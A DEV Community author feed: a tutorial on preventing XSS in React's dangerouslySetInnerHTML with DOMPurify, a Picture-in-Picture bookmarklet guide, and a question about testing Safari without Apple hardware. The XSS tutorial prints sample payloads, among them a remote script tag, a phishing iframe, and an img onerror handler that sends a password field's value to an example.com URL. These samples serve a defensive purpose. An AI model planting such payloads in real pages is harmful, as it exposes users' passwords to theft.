DEV Community: Tim Bryan

Mitigate XSS exploits when using React's `dangerously SetInnerHTML`

Tim Bryan — Thu, 12 Sep 2024 15:54:26 +0000

...

TL: DR; Blinding dumping content into dangerouslySetInnerHTML is exactly that - dangerous. Make sure you are sanitising any input you pass to dangerouslySetInnerHTML unless you have explicit control of the input.

The following component serves as a simple example of mitigating the risk of an XSS attack via dangerouslySetInnerHTML:

//https://github.com/cure53/DOMPurify
import React from "react";
import DOMPurify from "dompurify";

const sanitize = (dirty) => DOMPurify.sanitize(dirty);

const DangerousHtml = ({ innerHTML, tag }) => {
  const clean = sanitize(innerHTML);

  if (typeof tag === "undefined") {
    return <div dangerouslySetInnerHTML={{ __html: clean }} />;
  }
  return <tag dangerouslySetInnerHTML={{ __html: clean }} />;
};

export default DangerousHtml;

By using our bespoke DangerousHtml component, we can dramatically reduce the risk of an XSS exploit as we're sanitising our input before it gets to the actual dangerouslySetInnerHTML prop

DOMPurify is highly configurable too, so it might be the case that you want to have multiple components like our example to handle specific use cases or allow some of the below examples explicitly.

Below are some brief examples of how the exploits could take place:

Exploiting iFrame and Script Tags

XSS is possible as React will not strip out the script tag which points to a malicious payload.

We really shouldn't be passing iFrames in this way either. Rather, we should pass the URL and any other "safe" attributes as a props and render it ourselves in an iFrame tag to retain control of it's rendering ability's and source, or have a dedicated iFrame component.

For example, consider rhe following malicious markup that we've received from an API request. If we blindly set it via dangerouslySetInnerHTML, we'll give the user this output:

// Bad markup going in
<div
  dangerouslySetInnerHTML={{
    __html: `<p>
  Hi
  <script src="https://example.com/malicious-tracking"></script>
  Fiona, here is the link to enter your bank details:
  <iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
</p>`,
  }}
/>

<!-- Bad markup rendered on the DOM -->
<div>
  <p>
    Hi
    <script src="https://example.com/malicious-tracking"></script>
    Fiona, here is the link to enter your bank details:
    <iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
  </p>
</div>

However, using our DangerousHTML component instead, means that we have mitigated most of the risk the user may have faced:

// Bad markup going in
<DangerousHtml
  innerHTML={`<p>
  Hi
  <script src="https://example.com/malicious-tracking"></script>
  Fiona, here is the link to enter your bank details:
  <iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
</p>`}
/>

<!-- Clean markup rendered on the DOM -->
<div>
  <p>Hi Fiona, here is the link to enter your bank details:</p>
</div>

Fiona may think that the website is broken or missing content for some reason - but this is still better than being phished for their bank details!

Attribute manipulation/poisoning

Some DOM elements have special attributes that we can abuse that we should protect ourselves against.

In this example, we can run some JS on an <image> tag's onerror.

For example, given the following:

// Bad markup going in
<div
  dangerouslySetInnerHTML={{
    __html: `
<p>
  Hola
  <img
    src='none.png'
    onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'
  />
  Sharon
</p>`,
  }}
/>

<!-- Bad markup rendered on the DOM -->
<div>
  <p>
    Hola
    <img
      src="none.png"
      onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'
    />
    Sharon
  </p>
</div>

In this instance, our poisoned markup is stealing data from the DOM when the image request eventually fails and the user will never even know.

We can mitigate this again with our DangerousHtml component

// Bad markup going in
<DangerousHtml
  innerHTML={`
<p>
  Hola
  <img
    src='none.png'
    onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'
  />
  Sharon
</p>`}
/>

<!-- Clean markup rendered on the DOM -->
<div>
  <p>
    Hola
    <img src="none.png" />
    Sharon
  </p>
</div>

Given the argument that we may genuinely want to execute some JS to show a fallback image, we should again not be trusting raw, unsanitized HTML to do this for us and would be better served either having a fallbackImageURL or onError prop that we can explicitly add to our image tag like so:

// Usual imports
const MyImageComponent = ({ fallbackUrl, url }) => {
  // Usual component setup

  const displayFallbackImage = (evt) => {
    // If there is no fallback, do nothing
    if (!fallbackUrl) return;

    // set the url to the fallbackUrl
    evt.target.src = fallbackUrl;
  };

  return (
    <img
      src={url}
      onerror={displayFallbackImage}
      // ... any other props
    />
  );
};

...

Original article: https://timbryan.dev/posts/react-xss-via-dangerouslySetInnerHtml

Create your own Picture-In-Picture video feature bookmarklet

Tim Bryan — Wed, 04 Sep 2024 07:34:42 +0000

Cover image by charlesdeluvio

...

Some websites & video streaming services have a feature that allows you to watch videos in Picture-in-Picture mode, but they lock this feature behind some kind of paywall or make it a perk of having a subscription.

Some websites just don't have this feature altogether!

I find this infuriating, as this is a feature that is built into all modern web browsers and is free to use for those who know how to do it with no special effort, purchases, plugins or hack.

Here's how to do it:

Option 1 - Enter the code via your web browsers dev tools

Open your web browser's dev tools ( usually press F12 key / right-click & choose Inspect Element)
Go to the Console tab
Paste the following code:

// find the video element (may not work on sites with multiple video elements, but works for most of the main sites)
var vid = document.querySelector("video");

// remove the attribute that might stop us from launching the video in PiP
vid.removeAttribute("disablePictureInPicture");

// finally, request the PiP
vid.requestPictureInPicture();

All being well, you should now have the video pop-out. If not, you may need to tweak document.querySelector("video") to select a specific video element on the page.

Option 2 - Create a Bookmark button to launch PiP

This code is the same as the example in Option 1, but stripped down to one line to one line so it can be executed as a URL.

To use it, simply:

Select all of the following and drag and drop into your browser's bookmarks bar, or
Create a new bookmark called PiP and paste the following as the bookmark's URL: javascript: var vid=document.querySelector('video');vid.removeAttribute('disablePictureInPicture');vid.requestPictureInPicture();
Click the bookmark to launch PiP

How does a "Bookmarklet" work?

A bookmark normally takes you to a new web page. A bookmarklet is a bookmark that runs javascript on the current page instead of taking you to a new page. To declare that it is a bookmarklet, the "location" it points to starts with javascript:.

— caseywatts

The magic here, is the addition of javascript to the beginning of the URL. This tells the browser to perform an action on the current page, rather than taking you to a new page.

For more info on bookmarklets and getting more creative with them, see this great explanation from @caseywatts on Making Bookmarklets

...

Original article: https://timbryandev.dev/posts/free-picture-in-picture

Developing for Safari on Windows 10/Linux

Tim Bryan — Mon, 28 Sep 2020 14:43:26 +0000

Hi all,

This is my first post - so go easy on me! 😇

TL: DR; My queries boil down to:

Does anyone have any advice for supporting/developing for Safari users when you only have access to a Windows 10 or Linux machine?
What tools/services do you use?
Are they free/reasonably priced?
Is the only option to invest in something with MacOS/iOS in order to support them properly?

I'm a long time Windows user with some experience in Linux. I've been doing web development for 6 years and have lots of experience on cross-browser support for IE, Edge, Chrome, Firefox but with not having access to any Apple devices, I've never been able to guarantee functionality or aesthetics for those users.

I'm currently working on a web-based product for a customer that is focused around iOS users and feel that this would be a great opportunity to test and verify things for our users - the problem is I don't have any devices that can run Safari.

I'm reaching out to see if anyone has any useful tools, knowledge or secrets they can share with me to help overcome this issue and thank you in advance to anyone who contributes! 🙌